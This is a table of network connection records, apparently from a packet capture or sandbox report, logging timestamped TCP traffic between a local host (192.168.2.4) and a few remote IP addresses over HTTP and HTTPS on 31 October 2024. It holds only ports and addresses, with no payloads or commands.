Oct 31, 2024 20:52:32.440871000 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.440891027 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.492145061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.492160082 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.492171049 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.492199898 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.492221117 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.505573034 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.505584955 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.505619049 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.505629063 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.505666971 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.533627987 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.533678055 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.533682108 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.533693075 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.533704996 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.533720970 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.533745050 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.557651043 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557703972 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557713985 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557723045 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.557753086 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.557784081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557796001 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557806015 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557817936 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557832003 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.557843924 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.557882071 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557893038 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557903051 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.557920933 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.557941914 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.558125019 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558154106 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558165073 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558203936 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.558213949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558224916 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558235884 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558259964 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.558276892 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.558618069 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558630943 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558640003 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.558662891 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.558686018 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.570741892 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.570818901 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.572484970 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.585688114 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.585705042 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.585714102 CET	49760	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.585719109 CET	443	49760	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.588308096 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.595308065 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.595710039 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.596301079 CET	49766	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.600522995 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.600564003 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.600574017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.600586891 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.600590944 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.600615025 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.600644112 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.602334023 CET	80	49766	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.609237909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.609256029 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.609267950 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.609278917 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.609327078 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.622945070 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.622956991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.622967958 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.623507023 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.650928974 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.650940895 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.650950909 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.650978088 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.651005030 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.673472881 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.673485041 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.673494101 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.674462080 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.674731970 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.674757957 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.674767971 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.674839020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.674884081 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.674895048 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675040960 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675050020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675192118 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675203085 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675214052 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675224066 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675477982 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675489902 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675499916 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675548077 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675559998 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.675570965 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.676059008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.676069021 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.690404892 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.692744970 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.692785025 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.718018055 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.718031883 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.718048096 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.718373060 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.726619005 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.726629972 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.726640940 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.732614040 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.738327026 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:32.738354921 CET	443	49767	35.190.72.216	192.168.2.4
Oct 31, 2024 20:52:32.738518953 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:32.740123987 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.740221024 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.740231991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.745140076 CET	49767	443	192.168.2.4	35.190.72.216
Oct 31, 2024 20:52:32.745158911 CET	443	49767	35.190.72.216	192.168.2.4
Oct 31, 2024 20:52:32.750891924 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.768177032 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.768189907 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.768201113 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.768629074 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.790596962 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.790608883 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.790649891 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.790726900 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792443991 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792498112 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792515039 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792562008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792572975 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792582989 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792594910 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792650938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792663097 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792673111 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.792974949 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793046951 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793059111 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793076992 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793087959 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793098927 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793109894 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.793121099 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.794312000 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.794547081 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.794702053 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.835056067 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.835068941 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.835078001 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.835088968 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.836142063 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.843647957 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.843658924 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.843668938 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.843679905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.850344896 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.857358932 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.857369900 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.857379913 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.857391119 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.857680082 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.885276079 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.885292053 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.885308027 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.885317087 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.887924910 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.908020020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.908035040 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.908051968 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909332037 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909343958 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909356117 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909518003 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909528017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909540892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.909550905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910816908 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.910834074 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910845041 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910860062 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910867929 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910878897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910890102 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910901070 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910922050 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910938025 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910945892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910955906 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.910968065 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.911005974 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.911015987 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.911026001 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.913357019 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.913937092 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.930984020 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.931080103 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.931529999 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.932075977 CET	49765	443	192.168.2.4	188.114.97.3
Oct 31, 2024 20:52:32.932090044 CET	443	49765	188.114.97.3	192.168.2.4
Oct 31, 2024 20:52:32.952497959 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.952532053 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.952749968 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.953331947 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.960915089 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.960963964 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.960973024 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.960982084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.961296082 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:32.975574017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.975589037 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.975598097 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:32.975651026 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.002916098 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.002935886 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.002944946 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.002955914 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.003145933 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.036088943 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036125898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036142111 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036153078 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036164045 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036175013 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036185980 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036195993 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036262989 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036273956 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036533117 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036542892 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036554098 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036622047 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036633015 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036643982 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036662102 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036674023 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036686897 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.036699057 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.037421942 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.037446976 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.040833950 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.041120052 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.041208029 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.070029020 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.070041895 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.070053101 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.070142031 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.078293085 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.078368902 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.078378916 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.081662893 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.091799021 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.091835022 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.091845036 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.092226028 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.120208025 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.120220900 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.120229959 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.120284081 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.143795967 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.143826008 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.143836021 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.147027969 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.153315067 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153342962 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153353930 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153369904 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.153395891 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.153441906 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153451920 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153461933 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153491974 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.153501987 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.153505087 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153521061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153529882 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153590918 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153601885 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153611898 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153623104 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.153641939 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.153666973 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.154366970 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154381990 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154427052 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.154498100 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154508114 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154516935 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154561996 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154572010 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154581070 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.154633045 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.155047894 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.155057907 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.155067921 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.155097008 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.155109882 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.187127113 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.187139034 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.187149048 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.193595886 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.195662022 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.195743084 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.195751905 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.195909023 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.209055901 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.209104061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.209114075 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.209125042 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.209224939 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.237314939 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.237325907 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.237335920 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.237345934 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.237392902 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.237490892 CET	49756	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:33.261018038 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.261029005 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.261039019 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270410061 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270421028 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270430088 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270493984 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270584106 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270593882 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270848989 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270859003 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.270869017 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271013975 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271023989 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271033049 CET	80	49756	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:33.271042109 CET	80	49756	185.215.113.16	192.168.2.4
